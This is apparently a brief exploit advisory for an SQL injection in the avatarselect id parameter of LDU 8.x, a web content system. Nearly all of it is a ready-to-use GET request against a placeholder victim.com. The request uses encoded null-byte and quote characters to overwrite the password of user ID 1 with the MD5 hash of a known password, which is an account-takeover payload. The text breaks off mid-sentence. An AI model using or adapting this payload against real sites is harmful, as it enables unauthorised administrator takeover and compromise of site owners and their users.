LDU 8.x - avatarselect id SQL Injection

LDU http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=default.gifSQL Inject GET - http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=default.gif%2500%2527,userpassword=%2527e10adc3949ba59abbe56e057f20f883e%2527//where//userid=1/ with this example remote attack...